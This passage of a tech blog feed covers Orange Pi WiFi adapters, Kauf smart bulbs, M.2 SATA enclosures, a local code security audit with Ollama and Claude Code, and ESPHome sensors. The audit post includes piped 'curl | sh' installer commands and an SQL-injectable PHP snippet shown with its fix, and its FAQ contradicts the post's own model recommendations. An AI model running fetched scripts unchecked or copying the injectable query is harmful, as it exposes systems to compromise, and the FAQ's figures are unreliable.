15:41:15 CST 2022 aarch64 aarch64 aarch64 GNU/Linux This means that anything on the above list that is supported in kernel version 5.10 or earlier should be supported! Diagnosing WiFi Adapter First see what PCI devices you can see with: sudo lspci Once you put the WiFi card into the adapter and start up the Orange Pi you should view the WiFi related debug output with: sudo dmesg | grep -i wifi This will show you all the hardware related messages related to WiFi. It often will tell you critical information such as a firmware file wasn’t loaded, etc. You will need this information to diagnose the device if it is not working properly. Here’s an example for my non-working Broadcom adapter: orangepi@orangepi5:~$ sudo lspci [sudo] password for orangepi: 0004:40:00.0 PCI bridge: Rockchip Electronics Co., Ltd Device 3588 (rev 01) 0004:41:00.0 Network controller: Broadcom Inc. and subsidiaries BCM4352 802.11ac Wireless Network Adapter (rev 03) orangepi@orangepi5:~$ sudo dmesg | grep -i wifi drivers/net/wireless/rockchip_wlan/rkwifi/bcmdhd compiled on Dec 7 2022 at 10:23:12 [ 10.455031] [WLAN_RFKILL]: rockchip_wifi_get_oob_irq: Enter [ 10.455035] [WLAN_RFKILL]: rockchip_wifi_get_oob_irq: rfkill-wlan driver has not Successful initialized [ 10.455047] [dhd] dhd_wifi_platform_load: Enter [ 10.455529] [dhd] dhd_wifi_platform_load_pcie: pcie_register_driver failed [ 10.455533] [dhd] unregister wifi platform drivers [ 10.455537] [dhd] wifi_platform_bus_enumerate device present 0 Here we can see that for this Broadcom adapter it still couldn’t register the driver. It probably needs a driver that isn’t as easily available as getting it from the linux-firmware package. Sometimes the messages are a lot more helpful than this but it’s definitely the place to start if your adapter isn’t working. Alternative USB Option Another option is to use a USB WiFi adapter. This is a great option if you want to use your M.2 slot for something else (such as NVMe storage). I’ve tested the ODROID 5BK USB wireless adapter on the Orange Pi 5: ODROID 5BK USB WiFi Adapter The ODROID 5BK USB WiFi module works plug-and-play with the Orange Pi 5 on Linux Links: Amazon.com* If you know of more adapters that are working plug-and-play let me know in the comments and I can add them to the list Conclusion I highly recommend the Intel adapters since I can guarantee they will work. Even the adapters that failed to load a driver or proper firmware were all recognized in lspci. It’s not pretty but you can snap off the edge of the board if you don’t want it to hang over the edge as much. There are perforations in the board meant to snap for shorter modules. It will still hang over a little though and won’t be a perfect fit. This is a great adapter and great working solution to use E-key WiFi adapters in the Orange Pi’s M-key slot. I highly recommend it! Hopefully it won’t be too much longer before the official solution is released from Orange Pi. Other Resources I’ve also covered how to install Steam on the Orange Pi 5 here Check out my Orange Pi 5 review here for more important information about the Orange Pi 5 Don’t miss my Orange Pi SSD boot guide to learn how to set up the NVMe drive as the root partition #### Using Kauf Smart Lights w/ ESPHome and Home Assistant Kauf Smart Lights Web Interface I’ve been integrating all of my smart home devices into Home Assistant to have everything managed by an open source system. I have a handful of Philips Hue lights but I had not upgraded the entire house to smart lighting yet. After some research I was delighted to find a set of smart bulbs that are able to be managed by ESPHome (the system that is controlling my smart sensors I’m placing around the house which I’ve covered here). These are WiFi-based lights described as “made for Home Assistant” running a ESP32 chip. This worked well for my setup as my home has 6 Unifi access points all throughout the house/garage/etc. which is why I didn’t go with a Zigbee or Z-wave solution for the lighting (although I may for my window and door sensors, that’s still a work in progress). In this guide I’ll show you what it looks like to set up and configure these to work with Home Assistant and ESPHome. Let’s get started! Table of Contents Toggle Hardware UsedInitial ConfigurationHome Assistant ConfigurationControlling Color Temperature and RGBAdditional Networking ConsiderationsConclusionOther Resources Hardware Used Kauf A15 size RGBWW Smart Builb The KAUF A15 size RGBWW Smart Bulb with ESPHome is made specifically for Home Assistant. This is a very small size bulb relatively speaking. I needed these in a lot of my fixtures that had 2-3 lights mounted inside as A21 was too large. Links: Amazon.com* Kauf A19 Smart Light Bulb The Kauf A19 size light bulb has a slightly longer base meant for certain types of fixtures and recessed lighting. Links: Amazon.com* Kauf A21 Smart Light Bulb The Kauf A21 size light bulb is described as slightly larger than a standard US light bulb. This is the most common size. It will be too big to fit in some fixtures. Links: Amazon.com* Kauf BR30 Smart Light Bulb The Kauf BR30 light bulb is typically meant for recessed lighting and fits the most common size used in the US. Links: Amazon.com* Initial Configuration Let’s assume you already have the ESPHome add-on installed within Home Assistant. If not check out my article here which includes instructions on how to install ESPHome. Once you plug the Kauf bulb into a light socket it will start broadcasting a WiFi network for initial configuration. This will show up as something like kauf-bulb-XXXXXX. Simply connect to the WiFi network and navigate to the following IP in your browser. With any luck you will get a “Hotspot Login” screen that will let you select your WiFi network and SSID. If this isn’t showing up you can manually go to the following IP in your browser: http://192.168.4.1/ There is a time limit to connect to the device and configure it for security reasons. If you missed the time window try turning the light off and back on again to set the hotspot up again for initial configuration. Once the bulb has joined to your network go to the ESPHome tab on the left hand side of your screen. You should see the device available to adopt like this: Home Assistant – Adopt Kauf light within ESPHome Go ahead and click the “adopt” button. It will ask you to give the device a name. I named mine kauf-a15-officelamp so I know which type of bulb it is and where it is. Next click “Install” and ESPHome will automatically configure the bulb for you! A successful configuration will end looking like this: ======================== [SUCCESS] Took 342.93 seconds ======================== INFO Successfully compiled program. INFO Resolving IP address of kauf-bulb-7c30eb.local INFO -> 192.168.4.45 INFO Uploading /data/kauf-a15-officelamp/.pioenvs/kauf-a15-officelamp/firmware.bin (518464 bytes) INFO Compressed to 356242 bytes Uploading: [============================================================] 100% Done... INFO Waiting for result... INFO OTA successful INFO Successfully uploaded program. SUCCESS Home Assistant Configuration Next go to your Home Assistant “Settings” menu and then choose “Devices”. You should see your new device like this: Home Assistant – Kauf bulb ready for configuration If it asks you for the IP address of your ESPHome instance enter the IP address of the light bulb and then press “Submit”. After this your device should be configured within Home Assistant. If you go to your main dashboard you should see your new light with an option to turn it on and off: Home Assistant – Kauf Light On/Off Control It’s not a bad idea at this point to give your bulb a static lease inside your router so that it always gets the same IP on your network. I assigned every light a reserved IP address on my network which helps keep my network organized. This is generally considered good practice for networking. Controlling Color Temperature and RGB Now for the fun part. We can start controlling the light! The easiest way to control these on the light is to simply click the “Kauf Bulb” part of the name (rather than the switch which will only turn the light on and off). It will bring up a screen like this: Kauf – Home Assistant RGB Selection Wheel Now you can simply click anywhere in the wheel to select the color. The light will update as soon as you release the mouse cursor. You can also see the brightness adjusting switch. For non-RGB use though they actually have a great temperature color selector. This lets you make your lights not so cold and dreary looking and will give off a warmer light. That looks like this: Kauf – Home Assistant Color Temperature Selection This is actually the most useful feature for me because I typically won’t want to set all of the lights in my home to lime green. I do however care about the color temperature of the lights. This can make a huge quality of life difference. If you work / live around very cold lighting it’s kind of depressing. You can literally make your home’s light feel warmer and happier with these settings and this can have a noticeable quality of life impact for sure. Additional Networking Considerations It will generally work better within Home Assistant as well if you give each light a reserved IP address/lease within your router. That’s just because if the IP addresses are changing a lot it may take some time to see these update / rediscovered in Home Assistant which can be annoying. Static IP leases means that once you’ve configured the light the IP will never change so you won’t see any of these update issues within HA. It will always be trying to contact the device on the same IP with a setup like this and will improve the experience/responsiveness. I actually have a whole network segment specifically for my smart home devices (192.168.4.X is my IP range I put all the smart home devices in). I’ll give each light an IP as I add them to the network such as 192.168.4.5, then the next one will get 192.168.4.6. The advantage of having a dedicated network segment is that I set up special firewall rules for my smart home devices that don’t allow them to do things they shouldn’t be such as try to create outbound connections to other devices in my home they have no business talking to. This gives an additional layer of protection where even if one of your smart home devices was hacked it’s actually isolated from my main PCs and servers via simple firewall rules that don’t allow outbound connections from devices I put in that network segment. In other words anything in 192.168.4.X isn’t allowed to make outbound connections to my more sensitive devices because they have no business doing so for normal operation. It means that from my main computer (in 192.168.1.X) I can open an outbound connection in my browser for example to 192.168.4.5 to talk to a light bulb. If the light bulb or other smart home device tried the exact same thing such as open a browser connection to 192.168.1.1 this would be denied by my router/firewall as the smart home device group doesn’t have the same privileges as my main 192.168.1.X segment that I put things like my PC in. You never really know which IoT device will get hacked next so I configure my network in a way that I assume that any of them can be hacked at any time. That’s how I always treat them and I suggest you do the same. They’re all isolated on their own network segment and they aren’t allowed to create their own outbound connections to other devices on my network. If you operate that way you really don’t have to be as afraid of this kind of stuff because you’ve designed your network in a way that limits what an attacker could do even if they had an unpatched vulnerability to work with and full root access to one of your devices. Even if they breach the IoT device 100% and have full root access there’s nothing important they can talk to or do inside your network if that device can’t talk to your PC or other devices (which is called lateral movement in cyber security, using one device you’ve hacked to move deeper inside a network). You stop them at the light. There’s nothing for them to spread to in a design like this and then you can update the firmware of whichever device got hacked (since you will want to get the hacker out of the light or other IoT device for sure) and take care of it without any lasting damage. That should almost never happen in the first place if you keep your firmware up to date on all of your IoT devices but even that is no guarantee. The best guarantee you can have is to design your network in a way that even if a breach occurs there’s nowhere to go / nothing to spread to. Conclusion These lights are exactly what I wanted for my home. They integrate perfectly with ESPHome which is going to be controlling all of my home’s sensors. They use simple WiFi which made the most sense for my situation as I already have so many wireless access points wired throughout the house (including the garage and outside). The only downside of these lights is that they are slightly more expensive than what you could get if you wanted to get a generic cloud-based solution that saves all of your data to an app. That’s exactly what I didn’t want with these. I wanted no cloud and I only want this data stored inside my home on a machine that I control. It was worth it for me to pay a couple to a few dollars more per light and know that they will work with my open source solution I’m setting up 5-10 years from now. It didn’t make sense for me to get a Zigbee hub set up for my lights like many setups use simply because my WiFi network is already in place and more than enough to handle the lights being on WiFi. I may end up using Zigbee for all of my window sensors if power is too much of an issue since I’d like to have those sensors battery powered if possible (at least that’s how my Ring ones work that I’d like to replace with some sort of open-source solution). With this system we can log into Home Assistant and immediately make sure all of the lights in the home are turned off. I still have more bulbs to buy but we are starting with areas where me and my wife have to fuss with the lighting all the time. One example is our master bathroom which the lights are so bright in that we almost always only use the shower fan instead. With this system I can configure the lights to be at a comfortable level day or night. Eventually I’ll continue to replace every bulb in the house with these lights so that in the end the entire house’s lighting will be able to be managed and controlled through the open source Home Assistant solution. Hopefully this guide helps some of you configure something similar or decide whether you would benefit from such a setup as well! Other Resources I’m also using ESPHome and Home Assistant to set up sensors throughout my house which I’ve covered here A good way to prototype sensors is with the K1100 sensor prototyping kit which includes some base sensors and a screen to test the sensor data #### Using Multiple M.2 NGFF 2280 SATA Drives Simultaneously I’ve been running Pi Benchmarks for several years now so I’ve held on to any spare storage devices I can get my hands on for benchmarking/testing/cataloging purposes. This led to a big surplus of drives and no easy way to utilize them. That was before getting some new tools to be able to utilize lots of drives at once. Last time I covered a monster 16 bay hot swappable 2.5″ SATA cage (as well as a more reasonable 8 bay option) in this “extreme storage” series of articles and in this article we’re going to cover M.2 SATA NGFF / M.2 NVMe drives. It’s also possible to do RAID! Table of Contents Toggle Gadgets UsedCompatibility GuideM-Key vs B-KeyNVMe vs SATAStarTech EnclosureIOCREST PCIe EnclosureConclusion Gadgets Used StarTech NGFF 2230/2242/2260/2280/22110 SATA M+B Key 3.5″ Enclosure The StarTech NGFF 2230/2242/2260/2280/22110 SATA 3.5″ enclosure supports both M-key and B-key M.2 drives. It connects with 4 separate SATA cables to 4 SATA ports in your motherboard. It is powered by a single SATA power cable from your PSU. Links: Amazon.com*, Amazon.ca*, *Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* IOCREST NGFF 2230/2242/2260/2280/22110 SATA B-key PCIe Enclosure The IOCREST NGFF 2230/2242/2260/2280/22110 SATA PCIe enclosure supports B-key M.2 drives. There is a model that supports M-key (as well as even a NVMe) option if you need M-Key or NVMe support but they are more expensive. If you only need the B-key model this is a very inexpensive option! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Samsung 970 EVO Plus NVMe SSD The Samsung 970 EVO Plus is a fantastic drive and has fallen in price substantially. It’s widely available around the world. This is the top performance option without going into the “Pro” series of the lineup which are much more expensive. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Compatibility Guide It’s extremely important to pay very careful attention to exactly what type of drive you have when looking at enclosures like this. The StarTech adapter supports both M+B key These enclosures are also not for NVMe drives (we’ll cover those another time). They’re much more expensive. The IOCREST listed above has a NVME version and it drops it to 2 slots and is 5 times more expensive. It’s also not likely you have 5 spare NVMe drives laying around. M-Key vs B-Key It’s difficult to explain these and much easier to show it. Here’s the difference between the keys: M-key vs. B-key Physical Drives And a more technical diagram clearly showing the drive/socket differences: M-key vs B-key (Diagram) Typically you are only going to encounter B-style and B+M style SATA adapters/enclosures as well as drives but make sure you don’t have anything unusual. The B+M style seems to be the most widely compatible. It’s important to check the exact drives you’re using and ensure the enclosure/adapter will actually fit your drives! For a detailed technical breakdown (as well as the source of the above picture/diagram in this section) check out Puget System’s article and breakdown here specifically on this subject: Puget Systems – Overview of M.2 SSDs NVMe vs SATA Check whether it is a SATA vs. NVMe drive by looking closely at the label for the drive. The location varies but you will see one of the two trademarks for SATA or NVMe on the drive. Here’s a Samsung M.2 SATA drive: Samsung 860 EVO M.2 SATA If you have a more generic white label look in the corners at the “logo” style images and you should see a SATA or NVMe branding somewhere (it’s required since it’s licensed technology, trademarks etc.). Now here’s what a NVMe drive looks like: Samsung 970 EVO M.2 NVMe Observe that both drives while looking very similar are actually different types of drives. If you look in roughly the same spot as the 860 EVO you will see that this is clearly a “NVMe M.2” drive and not a “SATA M.2” drive. This is the best way to determine the difference between the two and identify which type of drive you have / which enclosure to get. StarTech Enclosure StarTech NGFF 2230/2242/2260/2280/22110 SATA 3.5″ Enclosure The first enclosure is by StarTech which is a well known and established brand that I have countless other storage adapters for. It supports both M-key and B-key in the form factors 2230/2242/2260/2280/22110. As long as your drive is identified as a “SATA” drive and not a “NVMe” drive it should fit in this enclosure. You can see the different size “holes” in the StarTech board. It comes with the standoffs and you can move them easily to whichever hole matches the size of M.2 drive you have. If your motherboard supports RAID you can configure it at the hardware level or you can use software-based RAID with Windows/Linux/etc. to create logical RAID or even extended partitions that combine all the free space of the drives into one “big” drive. It takes 4 separate SATA connections to your motherboard like this: StarTech SATA connections to motherboard The power connection is just a single SATA power connection from your power supply. This is a very power efficient setup! IOCREST PCIe Enclosure IOCREST NGFF 2230/2242/2260/2280/22110 SATA PCIe Enclosure This next enclosure is a bit different than our last one. This would be a more “modern” take than the 4 SATA connectors and is the same style that the more expensive NVMe-compatible enclosures. I recently purchased a TRX40 motherboard that actually came with a enclosure similar to this so expect to see them more and more. This particular enclosure is a B-key enclosure. The nice thing about this is if you have older drives this is a relatively inexpensive storage adapter. You definitely pay for each “step” up the scale you go! If you need a PCIe version though for M-key and B-key the listing I linked to should have these versions available as well (just make sure you check and read carefully). The form factor and performance of this enclosure is fantastic. Here’s a look at it closed back up: IOCREST enclosure with cover back on It slots right into your motherboard like this: IOCREST Motherboard mounted The small form factor is really helpful. With a large ATX motherboard you could easily fit 3-4 of these expansion cards (check your PCI express lanes before trying this) but this is a very compact and space efficient setup. I also set this enclosure up using software RAID using the Windows “Disk Management” tool just like with the StarTech enclosure using built in software RAID. Conclusion Once you’re all set up you have access to 4 separate drives in whichever way you would like to use them. You can set them up as 4 individual drives, combine them all into one large “spanning” drive, or use striping/miring RAID configurations with them! It was actually relatively cheap to set this up. The performance was fantastic on both enclosures with standard Windows RAID set up inside the “Disk Management” tool. The PCI Express slot version was my favorite form factor but if you have a desktop tower with the 3.5″ slot free that would be a very nice setup as well. The biggest thing you need to watch out for is compatibility. Triple check your M.2 drives and make sure you get an enclosure that meets your needs! #### Using Ollama + Claude Code for Local Security Audits (No API Costs) Claude Code with Ollama Qwen3.5 – 64k context window 27b parameters MoE model I’ve been wanting to use AI to analyze my website, https://pibenchmarks.com, and uncover potential improvements (especially security issues) but without spending money on APIs or exposing my code to third-party services. This post walks through how I set up a fully local workflow using Ollama + Claude Code, running on my RTX 3090, to scan an entire repository efficiently. Table of Contents Toggle Why Go Local?Step 1: Fixing the Ollama Installation IssueThe fix:Step 2: Choosing a ModelStep 3: Increasing the Context WindowStep 4: Realizing I Was Underutilizing My GPUStep 5: Moving to a Larger Model (27B)Result:Step 6: Testing a MoE Model (35B-A3B)Observations:Step 7: Real Security FindingsExample: SQL Injection IssueInteresting Model BehaviorKey Takeaways1. Don’t Trust Defaults2. Max Out Your Hardware3. Customize with Modelfiles4. Use Multiple ModelsFinal ResultsFinal ThoughtsCan I run security audits on my codebase locally without API costs?Which Ollama model is best for local security auditing on consumer hardware?How do I increase Ollama’s context window for larger codebases? Why Go Local? Running models locally has two major benefits: Zero cost – no API fees Full privacy – your code never leaves your machine With modern GPUs, this is more practical than ever. Step 1: Fixing the Ollama Installation Issue My first hurdle came from installing Ollama via Snap on Ubuntu. Because Snap sandboxes applications, Claude Code couldn’t detect the Ollama instance. The fix: Remove the Snap version and install Ollama directly: curl -fsSL https://ollama.com/install.sh | sh Then install Claude Code: curl -fsSL https://claude.ai/install.sh | bash After this, both tools were able to communicate properly. Step 2: Choosing a Model I started with: qwen3.5:latest This pulled a ~6.6GB model (9.7B parameters). It worked (technically) but it wasn’t fully utilizing my GPU and gave pretty poor results: Claude Code with Ollama Qwen3.5 – Maximum Effort 32k context window You can see in the above screenshot that rather than evaluate my code for security vulnerabilities it started writing me a SSD storage guide (???). Looks like my settings still need to be turned up! Step 3: Increasing the Context Window By default, my context window was limited: ollama ps This showed a context size of 32768 tokens. Since my RTX 3090 has 24GB VRAM, I increased it by creating a Modelfile: FROM qwen3.5 PARAMETER num_ctx 65536 Then: ollama create qwen3.5-64k -f Modelfile This successfully doubled the context window. The quality of my results increased: Claude Code with Ollama Qwen3.5 – 64k context window 9b parameters Now this is much better. It has correctly identified a single security issue! It found an instance of hardcoded credentials. Unfortunately if you look below that in the screenshot above you will see that shortly after it seems to have forgotten what it was supposed to be doing. It then starts telling me how I can add a new case to my Pi benchmarking site (not at all what I asked). Let’s keep going and see if we can get it tuned better. Step 4: Realizing I Was Underutilizing My GPU I had already improved the context window so I needed to check how many parameters were being used in my current model. I checked my model details: ollama show qwen3.5 Output: Parameters: 9.7B VRAM usage: ~10GB That’s less than 50% usage of my available 24GB of RAM on my NVIDIA 3090! Time to scale up. Step 5: Moving to a Larger Model (27B) I upgraded to: FROM qwen3.5:27b PARAMETER num_ctx 65536 Rebuilt with: ollama create qwen3.5-64k -f Modelfile Result: VRAM usage jumped to ~21GB Output quality improved dramatically The model found multiple real security issues This was the sweet spot for my hardware: Claude Code with Ollama Qwen3.5 – 64k context window 27b parameters Would you look at that! That looks much better and more professional. Now it found several hardcoded credentials across the application that needed to be addressed. Step 6: Testing a MoE Model (35B-A3B) Since I had such great luck jumping to a model with more parameters I decided to push it further. Next, I experimented with a Mixture-of-Experts model: FROM qwen3.5:35b-a3b PARAMETER num_ctx 65536 ollama create qwen3.5-64k-moe -f Modelfile Observations: ollama ps PROCESSOR: 19% CPU / 81% GPU Model exceeded available VRAM capacity Split between CPU and GPU Even though I was now splitting between my CPU and GPU the results were quite interesting: Claude Code with Ollama Qwen3.5 – 64k context window 27b parameters MoE model Step 7: Real Security Findings This setup wasn’t just theoretical. It found real vulnerabilities! Example: SQL Injection Issue Original code: $arr = fetchQuery($pdo, "SELECT ... LIMIT " . $offset . ',' . $items_per_page); Problem: Direct string concatenation → vulnerable to SQL injection Suggested fix: $arr = fetchQuery($pdo, "SELECT ... FROM meta_benchmark ... LIMIT :offset,:items_per_page", ['offset' => $offset, 'items_per_page' => $items_per_page] ); This aligns with best practices and matches how the rest of my codebase already worked. Interesting Model Behavior One surprising discovery: Smaller models consistently flagged hardcoded credentials The larger MoE model missed them entirely But it caught different issues (like SQL injection) Lesson: different models catch different problems Key Takeaways 1. Don’t Trust Defaults Out-of-the-box settings leave performance on the table. Always check: VRAM usage (nvidia-smi) Context size (ollama ps) 2. Max Out Your Hardware Use the largest model your GPU can handle efficiently. For me: 27B model = ideal balance 35B MoE = experimental but useful 3. Customize with Modelfiles Creating a Modelfile is simple and powerful: No environment variable headaches Full control over parameters 4. Use Multiple Models Different models = different insights. Run multiple passes if you want better coverage. Final Results After iterating through models and configurations, I was able to: Identify and fix 6+ security issues Improve overall code quality Do it all locally, for free Final Thoughts Using Ollama with Claude Code turned out to be an incredibly effective way to audit a full codebase without relying on external services. With the right setup, you can: Fully utilize your GPU Keep your code private Get high-quality security insights I’ll definitely be using this workflow going forward on other projects. All security vulnerabilities identified by Claude Code have been fixed. If you’re sitting on a decent GPU and not leveraging local AI yet you’re leaving a lot of value on the table. The initial analysis only took about 5-8 minutes (the runtime is in the screenshots throughout the article for those curious). This is not a long time for using my own hardware at home and not some expensive cloud server. I’m happy to work on something else and minimize it to the background or walk away and come back later to see the results. If you think that I’ve missed some things and have some ideas for me to try to improve things let me know in the comments and I’ll try them and report back the results! Can I run security audits on my codebase locally without API costs?Yes. By installing Ollama and loading a model like Qwen 3.6 (27B) with an expanded context window (32k to 64k tokens), you can scan your entire codebase for vulnerabilities like hardcoded credentials and SQL injection entirely offline.Which Ollama model is best for local security auditing on consumer hardware?For an RTX 3090 (24GB VRAM), the 14B parameter models hit a sweet spot between speed and accuracy. Smaller 7B models will run faster but may miss nuanced issues, while 33B+ models require CPU offloading and slow down significantly. Trying a mix of different models can be effective as different models can find different issues.How do I increase Ollama’s context window for larger codebases?Create a custom Modelfile with FROM qwen2.5:14b followed by PARAMETER num_ctx 65536, then run ollama create my-model -f Modelfile. A larger context window lets the model ingest more code at once for better cross-file analysis. #### Using Seeed’s XAIO ESP32C3 with Home Assistant / ESPHome Seeed Studios XAIO Series w/ Expansion Boards I’ve been working with the Grove series of sensors lately as I previously covered in my K1100 Grove Sensor prototyping kit article. The next step after getting my prototyping kit set up was to try some of the expansion shields for the Seeed Studios XAIO modules such as the ESP32-C3. This will allow me to connect a whole bunch of sensors to a single board. We used LoRa in the last article to upload sensor data to the cloud. Today we’re going to take the complete opposite approach. We are going to use the open-source Home Assistant suite to upload data to a locally running Home Assistant server. Home Assistant already integrates nicely with everything in my home letting me access it all in one place. In this article we’re going to take the next step after prototyping one sensor at a time and try using a XAIO Grove expansion shield to connect a whole bunch of sensors to a single board and then view all of their data within Home Assistant. Let’s get started! Table of Contents Toggle Hardware UsedAdding ESPHome to Home AssistantConfiguring ESPHomeEditing YAML ConfigurationInstall Configuration to DeviceAdding Device to Home AssistantAdding Sensors to YAML ConfigurationFinal ResultConclusionOther Resources Hardware Used Seeed Studios XAIO-ESP32-C3 The Seeed Studios XAIO-ESP32-C3 is a microcontroller board that uses the RISC-V architecture. It has Bluetooth and WiFi capabilities and includes an external antenna. Links: Amazon.com*, AliExpress*, *Amazon.ca*, Amazon.co.uk*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Seeed Studios Grove Expansion Shield The Seeed Studios XAIO series expansion boards give you a lot of ports to connect Grove sensors and other devices to your XAIO device Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.co.uk*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl* Adding ESPHome to Home Assistant We are going to assume you have Home Assistant installed as installing Home Assistant is outside the scope of this guide. You can absolutely follow along though and see if it looks like something you’d like to explore. I have it installed as a supervised installation on an Orange Pi 5. Sign into your Home Assistant instance and go to “Settings” and then “Add-ons”. Next click the “Add-on Store”. ESPHome has it’s own section like this: Home Assistant Add-on Store – ESPHome Select ESPHome and then click “Install”. Once the installation is finished you can click “Start” to start the service. To make things easier choose to add the ESPHome option to your sidebar. That way you’ll see a menu choice specifically for ESPHome going forward. Configuring ESPHome First head to the ESPHome menu option: ESPHome Configuration Menu If you don’t see the ESPHome menu option then go back to the “Add-on Store” from the previous step. Select ESPHome and enable “Show in sidebar”. For setup we need to connect your XAIO-ESP32-C3 to your device running Home Assistant with USB. This is only required for setup. It will communicate wirelessly after you’ve completed setup (if you configure it that way). You also have the option of connecting it to a different computer but *only* if your Home Assistant instance is configured to run in HTTPS. For this guide I didn’t have HTTPS enabled and chose to connect it directly to the Tinker Board running Home Assistant for this step. Click to add a new device. The first step will ask you for a configuration name and your wireless network SSID and password. Enter that and it will take you to the step to select your device type: ESPHome Configuration – Select Device Type Select ESP32-C3 if you are using the same device as me. It’s fine if you are using another type and are using this guide to follow along. It will ask you how you want to connect the device to the computer for the first time and give you an encryption key. I recommend using the “Connect to the server running Home Assistant with USB” option. It will then have you select your device. Mine showed up as a USB serial debug device on /dev/ttyACM0. Once you select next it will give you the option to start the configuration or to skip. Choose skip. We are going to edit the configuration manually first. Editing YAML Configuration Click “Edit” on the new sensor/device you created. We are going to change the esphome and esp32 section to this: esphome: name: sensors platformio_options: board_build.flash_mode: dio esp32: board: seeed_xiao_esp32c3 variant: esp32c3 framework: type: arduino version: 2.0.5 platform_version: 5.3.0 This is as per the Seeed Studios wiki page for Home Assistant integration. Note that YAML is very sensitive to spacing. The editor will underline errors in red for you which definitely helps to spot them as long as you’re watching for them. While we are in here you should save your encryption key to your clipboard or keep it handy for reference. We are going to need it in the step to add the device to Home Assistant later. Install Configuration to Device Finally you can begin programming the device. Click to “Install”. Select the device type and your USB device again and with any luck: ESPHome – Successful Configuration Flash Above you can see it connected to my WiFi point and that everything ran successfully. That is without ever programming the ESP32. ESPHome did all of the programming for us! Adding Device to Home Assistant Now head back to your “Settings” menu for Home Assistant and click “Devices”. You should see your new sensor with the name you specified in the configuration. Check to see if the sensor is online. With any luck it is like my example above. Now click “Configure”: Home Assistant – Devices Menu – Configure ESPHome It should ask you if you want to add the node to Home Assistant. Select “Submit” and then it will ask you for your encryption key it gave us earlier. If you don’t have this just go back to the ESPHome menu and select “Edit”. You will see the key in plain text under “encryption” and then “key”. If everything goes well the device should come online and be successfully paired with Home Assistant. From this point forward we will be able to update and push the configuration wirelessly to the device. You won’t be able to see any sensors yet though. We are going to add those next. Adding Sensors to YAML Configuration Now we need to configure the board correctly for the amount of sensors that you have. This will vary depending on what you are using. First make sure you check the ESPHome Grove sensors compatibility list here. If it’s on there you shouldn’t have any trouble and it’s just a matter of getting it configured. Keep the documentation open as they describe how to configure a whole bunch of different Grove sensors there (some of which I won’t be covering). For this guide I’ll be using a temperature and humidity Sensor (SHT40) as well as the VOC and CO2 sensor (SGP30). Essentially we need to add some sections to the YAML file. I followed the Seeed Studios documentation above and combined the YAML into this: i2c: sda: 6 scl: 7 sensor: - platform: sgp30 eco2: name: "eCO2" accuracy_decimals: 1 tvoc: name: "TVOC" accuracy_decimals: 1 - platform: sht4x temperature: name: "Temperature" humidity: name: "Humidity" Feel free to try different things because if it’s wrong you’ll get errors compiling so you will know it won’t work. This was a working configuration for the two sensors I wanted to do for this test. Final Result After a successful upload and configuration here is my finalized Home Assistant panel for the new sensors: Home Assistant – ESPHome Sensors Installed This is exactly what I wanted. I can see it right alongside my solar and all my other smart devices I’ve configured with Home Assistant so far. Conclusion I’m really impressed by ESPHome’s integration within Home Assistant. It is actually capable of programming the board for you and it works really well! The integration with Home Assistant is great and the sensors show up alongside everything else that I’m slowly unifying in one place. That’s all using an open-source system to manage it. These Grove expansion shields are only $7.90 on Amazon at time of writing*. The XAIO-ESP32-C3 chip is only $9.90*. The sensors are similarly as cheap for each sensor module. This is a very affordable ecosystem to participate in. Some of the Grove sensor boards are easier to find directly from Seeed Studios but the XAIO modules and related expansion boards seem to be incredibly reasonably priced on Amazon where available. This will also scale to as many sensor stations as I’d like to do in the house. I know I want to have one in my garage which has been so cold this winter that my battery chargers won’t function unless I bring the equipment inside to warm up. Monitoring the garage for CO2 levels as well as TVOC (Total Volatile Organic Compounds) seems like a smart idea as well. If they’re particularly high I know I need to go air out (and potentially clean) the garage which will almost certainly improve the health of everyone living here. There’s other Grove gas sensors that make a lot of sense as well for not only the garage but also in places such as near 3D printers or other equipment known to have certain types of potentially harmful emissions that may be in an enclosed space. It’s really helpful to have a dashboard you can look at to see if the levels are getting high because usually taking care of it is as easy as opening a window / door or turning on a fan. The danger is not realizing you’re working around such high levels. Most people would probably take care of it if they knew the levels were that high when it’s probably an easy fix like opening a window. The issue is without a sensor it’s hard to tell and they just don’t realize it. You can get used to working around those types of emissions where you don’t notice them / they don’t bother you but they’re definitely still there and they definitely still impact you. I’m going to prototype more sensors and see what else I might want to pack into one shield. At that point I’ll expand. The Grove sensor boards vary in price but the ones I used in this article are relatively inexpensive. It might cost me around <$35 per full sensor station to duplicate what I’ve done here to as many places around the house as I’d like (including the XAIO-ESP32-C3 + Grove Expansion Board + 2 sensor boards). I’d be hard pressed to find a proprietary solution that would scale as cheaply and as easily. They would also undoubtedly want to store all the data in the cloud which is not what I wanted for this project / my home’s sensors over the long term. This is an open-source solution I know will work over the long term without having to worry about planned obsolescence from manufacturers or cloud servers being shut off. The beauty of this solution is you may have totally different sensor needs / wants than I do. There’s hundreds of different Grove sensors available (check the compatibility list from earlier sections). I’m sure I can’t even imagine some of the sensor needs that some of you may have but I would encourage you to check the list and see if it’s on there if you want to use ESPHome. If it’s on the list then getting it to work within ESPHome should look very similar to what I’ve done here for most sensors. I have another XAIO series expansion shield I’ll be covering soon (featured in the picture at the beginning of the article with the peel still over the LCD) as I continue to explore the ESP32 microcontrollers and other RISC-V hardware on the site. I’ll definitely be doing more Home Assistant coverage as I continue to integrate the rest of my home into it. Stay tuned! Other Resources I’ve also covered the larger expansion board for the XAIO series here Don’t miss my sensor prototyping setup guide using the K1100 sensor prototyping kit See here for all of my articles regarding RISC-V open hardware #### Where to get the 64 bit Raspberry Pi OS image for Pi 4 / 400 Pi 64bit OS – Forum Post Last year a official 64 bit version of Raspberry Pi OS was released. There have been 3 versions of the image released with 